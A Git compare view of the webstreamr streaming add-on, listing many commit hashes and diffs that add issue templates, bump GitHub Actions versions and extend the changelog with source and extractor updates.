Compare commits
331 commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
720c9bb651 | ||
|
|
f05cf5040c | ||
|
|
65191cfc8d | ||
|
|
bd2dec0392 | ||
|
|
5f9fbbb30d | ||
|
|
43f04455f1 | ||
|
|
43637a2ff4 | ||
|
|
b87bf62362 | ||
|
|
89e57d48d9 | ||
|
|
ad47aecea3 | ||
|
|
f192fd0b75 | ||
|
|
557efd2079 | ||
|
|
373c6c1d4c | ||
|
|
4c7da5dc20 | ||
|
|
bed5b00300 | ||
|
|
e36d460d57 | ||
|
|
5cffa112ba | ||
|
|
66ae60ca44 | ||
|
|
b60496bf22 | ||
|
|
ff39c59475 | ||
|
|
b6b67568b5 | ||
|
|
eecf9c42c5 | ||
|
|
fc3d61b05a | ||
|
|
b2b9760445 | ||
|
|
7afff18629 | ||
|
|
ee3effaf00 | ||
|
|
296f0478b0 | ||
|
|
693a77e73e | ||
|
|
b769cd0aa1 | ||
|
|
9eca05efc5 | ||
|
|
ca0110cdbc | ||
|
|
66ee72baf0 | ||
|
|
3c08d69bc3 | ||
|
|
0f004dc878 | ||
|
|
b7093ed4ae | ||
|
|
20289eaeaf | ||
|
|
3b16fe0390 | ||
|
|
c78c1ad628 | ||
|
|
8fe4cc5a9b | ||
|
|
930e8191be | ||
|
|
2734fb4d0d | ||
|
|
b5223148c7 | ||
|
|
ad3d0b317e | ||
|
|
e90b5583a7 | ||
|
|
394dc91bfa | ||
|
|
7de046838d | ||
|
|
955872a825 | ||
|
|
d17780f0a7 | ||
|
|
737a8063a8 | ||
|
|
423abf2479 | ||
|
|
4e436509bf | ||
|
|
f58e0e1f4f | ||
|
|
d2e72b0756 | ||
|
|
edebd860aa | ||
|
|
6b8363bd9c | ||
|
|
d0c40ffa00 | ||
|
|
b36e1484eb | ||
|
|
a5e429fea3 | ||
|
|
6d5870ccb2 | ||
|
|
6cc82520a0 | ||
|
|
7dfc599de9 | ||
|
|
aa820e1f64 | ||
|
|
38d0ac5305 | ||
|
|
438387faee | ||
|
|
5a1786d3e5 | ||
|
|
bbb80f3cf0 | ||
|
|
8ea6d4fe37 | ||
|
|
282b3d05b3 | ||
|
|
168d0280dc | ||
|
|
50e024a3ea | ||
|
|
e1d582036a | ||
|
|
354c2731d8 | ||
|
|
ce4637ea80 | ||
|
|
73ce5f372d | ||
|
|
221fa989f4 | ||
|
|
a4dfad6235 | ||
|
|
ae10810caa | ||
|
|
964e979469 | ||
|
|
556b20e669 | ||
|
|
6c102362fd | ||
|
|
49faa5d116 | ||
|
|
cf8fb4cfa4 | ||
|
|
3bb7a800e3 | ||
|
|
26b6143152 | ||
|
|
728ed7ec06 | ||
|
|
5bfbd94e51 | ||
|
|
23db19d073 | ||
|
|
bd160eb32c | ||
|
|
fb354b4746 | ||
|
|
245dcf6007 | ||
|
|
94f5c7438d | ||
|
|
d0f3e0f931 | ||
|
|
524630d671 | ||
|
|
65a0e57ab9 | ||
|
|
eccea520b7 | ||
|
|
7ec9c5b147 | ||
|
|
1ae12fa0f7 | ||
|
|
ccdd4600bb | ||
|
|
3f35ecf6f3 | ||
|
|
de13209709 | ||
|
|
34500ea3fc | ||
|
|
72c191fbc1 | ||
|
|
8c2897a0b1 | ||
|
|
31da8aa92c | ||
|
|
92c45d553e | ||
|
|
ae5829dcb0 | ||
|
|
3f5a82d663 | ||
|
|
2612860f15 | ||
|
|
e6adf6549a | ||
|
|
c23ffa382d | ||
|
|
1f4d81bfc9 | ||
|
|
455d84d5b1 | ||
|
|
72c19e7f59 | ||
|
|
e52cee2125 | ||
|
|
5c87c5d9e2 | ||
|
|
8f8ecb868e | ||
|
|
a876c9b144 | ||
|
|
2ba6e4fa35 | ||
|
|
50a7e5559b | ||
|
|
db860c25c6 | ||
|
|
074311107a | ||
|
|
19a73b3866 | ||
|
|
75c9509793 | ||
|
|
bc98d64969 | ||
|
|
a90d7b1cad | ||
|
|
43e16f5bfa | ||
|
|
622b1b3bcc | ||
|
|
12ea135feb | ||
|
|
e5197fdb8b | ||
|
|
a5539bcf59 | ||
|
|
d3db3fc512 | ||
|
|
9945ed4615 | ||
|
|
28a83e2f29 | ||
|
|
93fe1ae871 | ||
|
|
1ddc8d99d6 | ||
|
|
3c979e77cc | ||
|
|
a00fa2c3d6 | ||
|
|
7c886583c9 | ||
|
|
92a4ed5578 | ||
|
|
e8ed29eb9d | ||
|
|
ef2cc7f16b | ||
|
|
646e75d5f8 | ||
|
|
d259587491 | ||
|
|
7c99e4d1c1 | ||
|
|
aeb15d8640 | ||
|
|
771d664e5a | ||
|
|
7b708e2385 | ||
|
|
a9c281c8c4 | ||
|
|
8aa1344fa5 | ||
|
|
5fd62028ce | ||
|
|
5b49dd0735 | ||
|
|
7bb38fda3e | ||
|
|
507b96014c | ||
|
|
986db2cc67 | ||
|
|
546dee9799 | ||
|
|
4cfbf731b8 | ||
|
|
231a12f685 | ||
|
|
e54b54bfb3 | ||
|
|
58966ccff1 | ||
|
|
59c84952ed | ||
|
|
90c56debfe | ||
|
|
9cf9c4498c | ||
|
|
31ca9597e5 | ||
|
|
17e70c169b | ||
|
|
79c8e7fc32 | ||
|
|
26278aadba | ||
|
|
5ef6119294 | ||
|
|
96c4b1f16b | ||
|
|
4cf08fc6d5 | ||
|
|
bad1170421 | ||
|
|
7593d3d62e | ||
|
|
ce11a80ba9 | ||
|
|
5103be82a4 | ||
|
|
9ee91dff31 | ||
|
|
381fb89cfb | ||
|
|
9354c0ee9b | ||
|
|
51aa127a33 | ||
|
|
9d6d138fff | ||
|
|
a189cddd37 | ||
|
|
f7cf9da686 | ||
|
|
d00cc8a94a | ||
|
|
20ce2ac831 | ||
|
|
c6a6a70eaf | ||
|
|
9e256186aa | ||
|
|
f047287fe9 | ||
|
|
816123ab83 | ||
|
|
815d3b6b1e | ||
|
|
05b80a2d63 | ||
|
|
de79dc014f | ||
|
|
1a99a9e99b | ||
|
|
f49769f3c4 | ||
|
|
77cf6767b1 | ||
|
|
d1fcd671c9 | ||
|
|
5cb4944413 | ||
|
|
559ee6ed4e | ||
|
|
cc1e96f3cf | ||
|
|
b273e3a71d | ||
|
|
66fb0e2e6d | ||
|
|
baf5c9143d | ||
|
|
28a8a1554d | ||
|
|
515ca0a98c | ||
|
|
dcad7db29c | ||
|
|
4bec9e556f | ||
|
|
da7397fe75 | ||
|
|
86eb3d498c | ||
|
|
ca8caa7795 | ||
|
|
f6f71b043b | ||
|
|
281fe00a35 | ||
|
|
e5d68c5214 | ||
|
|
04f3fc42e0 | ||
|
|
ed50cb2f6a | ||
|
|
e1e8f37862 | ||
|
|
7146c6cf11 | ||
|
|
41bc53b9da | ||
|
|
bfe8c36e87 | ||
|
|
430e5b7fce | ||
|
|
8d1991ed84 | ||
|
|
c075fe9481 | ||
|
|
7e4891a93f | ||
|
|
f8f62db174 | ||
|
|
93a098e438 | ||
|
|
1f4d7c752d | ||
|
|
9b3c7c76cf | ||
|
|
ac4cc8a346 | ||
|
|
e7b1e2a4fc | ||
|
|
f8b63f4cce | ||
|
|
30c60261af | ||
|
|
9079feebbd | ||
|
|
a7d93590c6 | ||
|
|
d20c568e85 | ||
|
|
c8e38d73ff | ||
|
|
135d90a233 | ||
|
|
9f5ac02ec6 | ||
|
|
6f24b7928d | ||
|
|
b5fc29f150 | ||
|
|
6cc24c0332 | ||
|
|
924265b964 | ||
|
|
7264fd2ed4 | ||
|
|
0610b8556a | ||
|
|
9fd563450e | ||
|
|
ddf4f227b3 | ||
|
|
36a15f0091 | ||
|
|
58bd6250c9 | ||
|
|
10081a2276 | ||
|
|
fa6bee4c83 | ||
|
|
40f9f9ec8c | ||
|
|
01649955b1 | ||
|
|
5d412b759f | ||
|
|
4f7a9d725e | ||
|
|
e3ea65d7f4 | ||
|
|
d71aa240e7 | ||
|
|
e438f3cbbd | ||
|
|
d44e0a2588 | ||
|
|
258e35c94d | ||
|
|
d607b7fb6b | ||
|
|
42b9cbe38f | ||
|
|
d7edb51698 | ||
|
|
1bd85fb4ad | ||
|
|
580845ae77 | ||
|
|
32b49d49a9 | ||
|
|
5ff8a49be5 | ||
|
|
3955820eb9 | ||
|
|
609bd23cd8 | ||
|
|
0f7bc7c07f | ||
|
|
cf0be4712e | ||
|
|
50c5d3a1cd | ||
|
|
8dae887eca | ||
|
|
3be37008b7 | ||
|
|
ae00c43106 | ||
|
|
d7392c09d2 | ||
|
|
f549a32dd2 | ||
|
|
e092d7247d | ||
|
|
d3dbedf18a | ||
|
|
90ab3d0a31 | ||
|
|
cba3c8bbae | ||
|
|
4a14ad7fb0 | ||
|
|
5c04104ad2 | ||
|
|
ef2b6721c7 | ||
|
|
d7e82ceff3 | ||
|
|
973eb06584 | ||
|
|
825d97adc4 | ||
|
|
8835219c26 | ||
|
|
1dd9d324e6 | ||
|
|
afbc16a3ec | ||
|
|
98b9d5a81d | ||
|
|
6f6a3ae2fd | ||
|
|
5300e6c6e7 | ||
|
|
9f7155f42e | ||
|
|
362bef9f57 | ||
|
|
4cd1e09466 | ||
|
|
1765311586 | ||
|
|
68cfa65135 | ||
|
|
b7930014ab | ||
|
|
67d0508fd7 | ||
|
|
280abc4dea | ||
|
|
e1c727b7de | ||
|
|
d07d31d94a | ||
|
|
09f795b862 | ||
|
|
f5f47403cc | ||
|
|
31e46c5c56 | ||
|
|
219cb4b5f6 | ||
|
|
683e26e32a | ||
|
|
9bec5b5f3b | ||
|
|
4815054fed | ||
|
|
c50e095781 | ||
|
|
b4ba098158 | ||
|
|
836021c57e | ||
|
|
0a85b0dc1e | ||
|
|
3b78186702 | ||
|
|
dbbf310661 | ||
|
|
7eb760b5d6 | ||
|
|
e2268a325a | ||
|
|
3f0c661dae | ||
|
|
7dca36fa83 | ||
|
|
159be1cac4 | ||
|
|
e478a45bc0 | ||
|
|
d80ca63dad | ||
|
|
57bc4640e5 | ||
|
|
33dbeb9776 | ||
|
|
3c398d4a1d | ||
|
|
943f4c3453 | ||
|
|
8e1ea10c5a | ||
|
|
a7bc742035 | ||
|
|
82b810ed36 | ||
|
|
6eceaf474d | ||
|
|
88a1fe10a1 | ||
|
|
240504816c | ||
|
|
053dce0729 | ||
|
|
a36d152b61 | ||
|
|
e5a5c62106 | ||
|
|
db25f98251 |
462 changed files with 79133 additions and 13611 deletions
38
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
38
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
|
|
@ -0,0 +1,38 @@
|
||||||
|
---
|
||||||
|
name: Bug report
|
||||||
|
about: Create a report to help us improve
|
||||||
|
title: ''
|
||||||
|
labels: bug
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Describe the bug**
|
||||||
|
A clear and concise description of what the bug is.
|
||||||
|
|
||||||
|
**To Reproduce**
|
||||||
|
Steps to reproduce the behavior:
|
||||||
|
1. Go to '...'
|
||||||
|
2. Click on '....'
|
||||||
|
3. Scroll down to '....'
|
||||||
|
4. See error
|
||||||
|
|
||||||
|
**Expected behavior**
|
||||||
|
A clear and concise description of what you expected to happen.
|
||||||
|
|
||||||
|
**Screenshots**
|
||||||
|
If applicable, add screenshots to help explain your problem.
|
||||||
|
|
||||||
|
**Desktop (please complete the following information):**
|
||||||
|
- OS: [e.g. iOS]
|
||||||
|
- Browser [e.g. chrome, safari]
|
||||||
|
- Version [e.g. 22]
|
||||||
|
|
||||||
|
**Smartphone (please complete the following information):**
|
||||||
|
- Device: [e.g. iPhone6]
|
||||||
|
- OS: [e.g. iOS8.1]
|
||||||
|
- Browser [e.g. stock browser, safari]
|
||||||
|
- Version [e.g. 22]
|
||||||
|
|
||||||
|
**Additional context**
|
||||||
|
Add any other context about the problem here.
|
||||||
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
|
|
@ -0,0 +1,20 @@
|
||||||
|
---
|
||||||
|
name: Feature request
|
||||||
|
about: Suggest an idea for this project
|
||||||
|
title: ''
|
||||||
|
labels: enhancement
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Is your feature request related to a problem? Please describe.**
|
||||||
|
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||||
|
|
||||||
|
**Describe the solution you'd like**
|
||||||
|
A clear and concise description of what you want to happen.
|
||||||
|
|
||||||
|
**Describe alternatives you've considered**
|
||||||
|
A clear and concise description of any alternative solutions or features you've considered.
|
||||||
|
|
||||||
|
**Additional context**
|
||||||
|
Add any other context or screenshots about the feature request here.
|
||||||
23
.github/ISSUE_TEMPLATE/request-source-extractor.md
vendored
Normal file
23
.github/ISSUE_TEMPLATE/request-source-extractor.md
vendored
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
---
|
||||||
|
name: Request source/extractor
|
||||||
|
about: Request a source or extractor to get URLs from
|
||||||
|
title: Request to add <source/extractor>
|
||||||
|
labels: enhancement
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**What is the site you want to get added?**
|
||||||
|
A link to the source or embed hoster
|
||||||
|
|
||||||
|
**What is the benefit of adding this?**
|
||||||
|
More content is not a good reason. If it's already covered via an existing source/extractor, why should we add another one?
|
||||||
|
|
||||||
|
**Are you aware of any protection the site uses?**
|
||||||
|
E.g. rate-limits or Cloudflare captchas and such
|
||||||
|
|
||||||
|
**What languages does this relate to?**
|
||||||
|
E.g. multi, German, ..
|
||||||
|
|
||||||
|
**Example**
|
||||||
|
A movie/series IMDb/TMDB ID + source link or embed URL to test with.
|
||||||
8
.github/workflows/build-tag.yml
vendored
8
.github/workflows/build-tag.yml
vendored
|
|
@ -9,19 +9,19 @@ jobs:
|
||||||
steps:
|
steps:
|
||||||
-
|
-
|
||||||
name: Login to Docker Hub
|
name: Login to Docker Hub
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
-
|
-
|
||||||
name: Set up QEMU (for cross-arch)
|
name: Set up QEMU (for cross-arch)
|
||||||
uses: docker/setup-qemu-action@v3
|
uses: docker/setup-qemu-action@v4
|
||||||
-
|
-
|
||||||
name: Set up Docker Buildx
|
name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v4
|
||||||
-
|
-
|
||||||
name: Build and push
|
name: Build and push
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
push: true
|
push: true
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
|
|
|
||||||
5
.github/workflows/build.yml
vendored
5
.github/workflows/build.yml
vendored
|
|
@ -1,6 +1,7 @@
|
||||||
name: Build
|
name: Build
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
|
pull_request:
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
jobs:
|
jobs:
|
||||||
docker:
|
docker:
|
||||||
|
|
@ -8,10 +9,10 @@ jobs:
|
||||||
steps:
|
steps:
|
||||||
-
|
-
|
||||||
name: Set up Docker Buildx
|
name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v4
|
||||||
-
|
-
|
||||||
name: Build and push
|
name: Build and push
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
push: false
|
push: false
|
||||||
tags: webstreamr/webstreamr:latest
|
tags: webstreamr/webstreamr:latest
|
||||||
|
|
|
||||||
3
.github/workflows/tests.yml
vendored
3
.github/workflows/tests.yml
vendored
|
|
@ -1,12 +1,13 @@
|
||||||
name: Tests
|
name: Tests
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
|
pull_request:
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
jobs:
|
jobs:
|
||||||
test:
|
test:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v5
|
- uses: actions/checkout@v6
|
||||||
- name: Setup Node.js
|
- name: Setup Node.js
|
||||||
uses: actions/setup-node@v6
|
uses: actions/setup-node@v6
|
||||||
with:
|
with:
|
||||||
|
|
|
||||||
|
|
@ -1,3 +1,3 @@
|
||||||
{
|
{
|
||||||
".": "0.56.8"
|
".": "0.69.1"
|
||||||
}
|
}
|
||||||
|
|
|
||||||
832
CHANGELOG.md
832
CHANGELOG.md
|
|
@ -1,5 +1,837 @@
|
||||||
# Changelog
|
# Changelog
|
||||||
|
|
||||||
|
## [0.69.1](https://github.com/webstreamr/webstreamr/compare/v0.69.0...v0.69.1) (2026-03-27)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** exclude ad videos in HDHub4u ([65191cf](https://github.com/webstreamr/webstreamr/commit/65191cfc8dad8f58b44e2c355b9adc600b99b2bf))
|
||||||
|
* **source:** remove stray console.log ([bd2dec0](https://github.com/webstreamr/webstreamr/commit/bd2dec03925d8b7760044dbfaaaec00b48f7cb66))
|
||||||
|
|
||||||
|
## [0.69.0](https://github.com/webstreamr/webstreamr/compare/v0.68.0...v0.69.0) (2026-03-27)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency axios to v1.14.0 ([#800](https://github.com/webstreamr/webstreamr/issues/800)) ([ad47aec](https://github.com/webstreamr/webstreamr/commit/ad47aecea3f3d34700add442e023bd54f73451c8))
|
||||||
|
* **extractor:** detect languages from HubCloud title ([89e57d4](https://github.com/webstreamr/webstreamr/commit/89e57d48d95a6f8dd6446048ae72de51dd481f37))
|
||||||
|
* **extractor:** detect resolution from HubCloud title ([f192fd0](https://github.com/webstreamr/webstreamr/commit/f192fd0b7523094746148989e0cf06717db8152e))
|
||||||
|
* remove duplicate URLs ([b87bf62](https://github.com/webstreamr/webstreamr/commit/b87bf62362f3cd6b3ea055ecdaec44511bf2ec84))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* **source:** add HDHub4u ([43f0445](https://github.com/webstreamr/webstreamr/commit/43f04455f17063e459df7e7a34af44de36afd6fc))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** don't fail for HubDrive if HubCloud link is missing ([557efd2](https://github.com/webstreamr/webstreamr/commit/557efd207945ea7ada0bcaf475b0b9b9d60d8f5b))
|
||||||
|
|
||||||
|
|
||||||
|
### Code Refactoring
|
||||||
|
|
||||||
|
* **source:** extract hd hub link redirect resolver ([43637a2](https://github.com/webstreamr/webstreamr/commit/43637a2ff4280db208ec9c94c0a5d52a49dc6672))
|
||||||
|
|
||||||
|
## [0.68.0](https://github.com/webstreamr/webstreamr/compare/v0.67.0...v0.68.0) (2026-03-26)
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* exclude resolution config options ([4c7da5d](https://github.com/webstreamr/webstreamr/commit/4c7da5dc208a1854a17aa43a26553fb6c83e7287))
|
||||||
|
|
||||||
|
## [0.67.0](https://github.com/webstreamr/webstreamr/compare/v0.66.16...v0.67.0) (2026-03-25)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.57.2 ([#795](https://github.com/webstreamr/webstreamr/issues/795)) ([5cffa11](https://github.com/webstreamr/webstreamr/commit/5cffa112bac29ee4eb18958f5345f0a3ae68ff30))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* **extractor:** support FSLv2 server in HubCloud ([e36d460](https://github.com/webstreamr/webstreamr/commit/e36d460d57bdc071fc111b1459ea26184a3233e3))
|
||||||
|
|
||||||
|
## [0.66.16](https://github.com/webstreamr/webstreamr/compare/v0.66.15...v0.66.16) (2026-03-23)
|
||||||
|
|
||||||
|
|
||||||
|
### Documentation
|
||||||
|
|
||||||
|
* remove mention of XDMovies ([b60496b](https://github.com/webstreamr/webstreamr/commit/b60496bf224f1869626bceaa7e3eebabfdec8754))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** remove XDMovies ([ff39c59](https://github.com/webstreamr/webstreamr/commit/ff39c594755b586ec4214d942c04026b873854fd))
|
||||||
|
|
||||||
|
## [0.66.15](https://github.com/webstreamr/webstreamr/compare/v0.66.14...v0.66.15) (2026-03-23)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#792](https://github.com/webstreamr/webstreamr/issues/792)) ([fc3d61b](https://github.com/webstreamr/webstreamr/commit/fc3d61b05a31c00607c7309ed04c8438c8f344f7))
|
||||||
|
* **deps:** update dependency cacheable to v2.3.4 ([#789](https://github.com/webstreamr/webstreamr/issues/789)) ([b2b9760](https://github.com/webstreamr/webstreamr/commit/b2b9760445f7b1a987f5aa795ef3a5302e753178))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** hard-code referer for Dropload and SuperVideo for now ([eecf9c4](https://github.com/webstreamr/webstreamr/commit/eecf9c42c5f95266fe1ec0deba1042741efe7306))
|
||||||
|
|
||||||
|
## [0.66.14](https://github.com/webstreamr/webstreamr/compare/v0.66.13...v0.66.14) (2026-03-17)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#784](https://github.com/webstreamr/webstreamr/issues/784)) ([9eca05e](https://github.com/webstreamr/webstreamr/commit/9eca05efc5c56dc0c008b6cac6314c2849e11382))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.57.1 ([#786](https://github.com/webstreamr/webstreamr/issues/786)) ([b769cd0](https://github.com/webstreamr/webstreamr/commit/b769cd0aa1f8284c921f68c620fa01565097952b))
|
||||||
|
* **extractor:** add cacheVersion and bump it for HubCloud and HubDrive ([ee3effa](https://github.com/webstreamr/webstreamr/commit/ee3effaf0079ee932d6b8a93ead0f095ea7e4906))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** add PixelDrain referer to HubCloud extractor ([693a77e](https://github.com/webstreamr/webstreamr/commit/693a77e73e984e81aee9a702092c5ef098d4e48f))
|
||||||
|
* **extractor:** reduce HubCloud + HubDrive ttl to 12h ([296f047](https://github.com/webstreamr/webstreamr/commit/296f0478b03c4dfd4927c0e53037ce8f9de64872))
|
||||||
|
|
||||||
|
## [0.66.13](https://github.com/webstreamr/webstreamr/compare/v0.66.12...v0.66.13) (2026-03-14)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* downgrade sqlite for now ([66ee72b](https://github.com/webstreamr/webstreamr/commit/66ee72baf02560ca4bed0864869ab8046e85d0eb))
|
||||||
|
|
||||||
|
## [0.66.12](https://github.com/webstreamr/webstreamr/compare/v0.66.11...v0.66.12) (2026-03-14)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#779](https://github.com/webstreamr/webstreamr/issues/779)) ([b7093ed](https://github.com/webstreamr/webstreamr/commit/b7093ed4ae37cc4e4a2603bd6c8dac0118f8e617))
|
||||||
|
* **deps:** update dependency slugify to v1.6.8 ([#777](https://github.com/webstreamr/webstreamr/issues/777)) ([20289ea](https://github.com/webstreamr/webstreamr/commit/20289eaeaf8710c4cfb60d661061c62a3cfa4aeb))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* require sqlite with alpine fix ([0f004dc](https://github.com/webstreamr/webstreamr/commit/0f004dc878c1c1a24cae553100426c61d45841a9))
|
||||||
|
|
||||||
|
## [0.66.11](https://github.com/webstreamr/webstreamr/compare/v0.66.10...v0.66.11) (2026-03-13)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#764](https://github.com/webstreamr/webstreamr/issues/764)) ([394dc91](https://github.com/webstreamr/webstreamr/commit/394dc91bfa0a2382ad7d084f02a2f99b7eb91ca5))
|
||||||
|
* **deps:** update dependency @types/node to v24.12.0 ([#763](https://github.com/webstreamr/webstreamr/issues/763)) ([7de0468](https://github.com/webstreamr/webstreamr/commit/7de046838d8c851caf7ec164c441b77907705c89))
|
||||||
|
* **deps:** update dependency express-rate-limit to v8.3.1 ([#765](https://github.com/webstreamr/webstreamr/issues/765)) ([e90b558](https://github.com/webstreamr/webstreamr/commit/e90b5583a7c2d005e53b60f8152eb4e37dd6591b))
|
||||||
|
* **deps:** update dependency tough-cookie to v6.0.1 ([#773](https://github.com/webstreamr/webstreamr/issues/773)) ([2734fb4](https://github.com/webstreamr/webstreamr/commit/2734fb4d0db6c658022ba1d6a89b90c7194d84b9))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.57.0 ([#766](https://github.com/webstreamr/webstreamr/issues/766)) ([ad3d0b3](https://github.com/webstreamr/webstreamr/commit/ad3d0b317e476621bef309b95fd683bd0b47fa38))
|
||||||
|
* **deps:** update eslint monorepo to v9.39.4 ([#761](https://github.com/webstreamr/webstreamr/issues/761)) ([955872a](https://github.com/webstreamr/webstreamr/commit/955872a8254e1ab93e298df720ae1e618d2fd3bc))
|
||||||
|
* **deps:** update jest monorepo to v30.3.0 ([#767](https://github.com/webstreamr/webstreamr/issues/767)) ([b522314](https://github.com/webstreamr/webstreamr/commit/b5223148c7ed336136c4182aaaa59f031ea6dc2a))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **deps:** update dependency sqlite3 to v6 ([#772](https://github.com/webstreamr/webstreamr/issues/772)) ([930e819](https://github.com/webstreamr/webstreamr/commit/930e8191beac055e8b82ee9a79bd78f56b2613a2))
|
||||||
|
* **extractor:** add missing VOE domain ([c78c1ad](https://github.com/webstreamr/webstreamr/commit/c78c1ad628c81391bdead00273e3a346983b1f45))
|
||||||
|
* **source:** switch to new Frembed URL and resolve link redirects ([8fe4cc5](https://github.com/webstreamr/webstreamr/commit/8fe4cc5a9bf37612647ed348cf76702fdbf6857e))
|
||||||
|
|
||||||
|
## [0.66.10](https://github.com/webstreamr/webstreamr/compare/v0.66.9...v0.66.10) (2026-03-06)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency @stylistic/eslint-plugin to v5.10.0 ([#760](https://github.com/webstreamr/webstreamr/issues/760)) ([4e43650](https://github.com/webstreamr/webstreamr/commit/4e436509bf8b6bed5d1d879756f7cccba28b0d6a))
|
||||||
|
* **deps:** update dependency axios-cache-interceptor to v1.12.0 ([#755](https://github.com/webstreamr/webstreamr/issues/755)) ([edebd86](https://github.com/webstreamr/webstreamr/commit/edebd860aa3c4c01b6444c0296e21279ea3231ff))
|
||||||
|
* **deps:** update dependency express-rate-limit to v8.3.0 ([#758](https://github.com/webstreamr/webstreamr/issues/758)) ([f58e0e1](https://github.com/webstreamr/webstreamr/commit/f58e0e1f4f6c4db1e4efbeba6278a5358d1f6a56))
|
||||||
|
* **deps:** update docker/build-push-action action to v7 ([#759](https://github.com/webstreamr/webstreamr/issues/759)) ([737a806](https://github.com/webstreamr/webstreamr/commit/737a8063a8921a8fd0247e2cb3c053030b018294))
|
||||||
|
* **deps:** update docker/login-action action to v4 ([#750](https://github.com/webstreamr/webstreamr/issues/750)) ([6b8363b](https://github.com/webstreamr/webstreamr/commit/6b8363bd9c970b8760a1412a66086b120422567f))
|
||||||
|
* **deps:** update docker/setup-buildx-action action to v4 ([#757](https://github.com/webstreamr/webstreamr/issues/757)) ([d2e72b0](https://github.com/webstreamr/webstreamr/commit/d2e72b0756e8a86d64e6c70e168b689429d4b3d7))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** use Dropload hosting URL origin as Referer ([423abf2](https://github.com/webstreamr/webstreamr/commit/423abf2479b7dffde3138c6043eb1f2854e4b077))
|
||||||
|
|
||||||
|
## [0.66.9](https://github.com/webstreamr/webstreamr/compare/v0.66.8...v0.66.9) (2026-03-04)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* add referral ([a5e429f](https://github.com/webstreamr/webstreamr/commit/a5e429fea365ee04a3bd32f07676a852511be852))
|
||||||
|
* **deps:** update docker/setup-qemu-action action to v4 ([#749](https://github.com/webstreamr/webstreamr/issues/749)) ([b36e148](https://github.com/webstreamr/webstreamr/commit/b36e1484eb51b7d86352c6f78f2f4c21adba28d0))
|
||||||
|
|
||||||
|
|
||||||
|
### Documentation
|
||||||
|
|
||||||
|
* use default branch for tests badge ([6d5870c](https://github.com/webstreamr/webstreamr/commit/6d5870ccb219bcb6448aac732914d02f59b8b602))
|
||||||
|
|
||||||
|
## [0.66.8](https://github.com/webstreamr/webstreamr/compare/v0.66.7...v0.66.8) (2026-03-02)
|
||||||
|
|
||||||
|
|
||||||
|
### Documentation
|
||||||
|
|
||||||
|
* add known issues / limitations section ([438387f](https://github.com/webstreamr/webstreamr/commit/438387faee8fb8604f4de7c1a7876be40d79fa79))
|
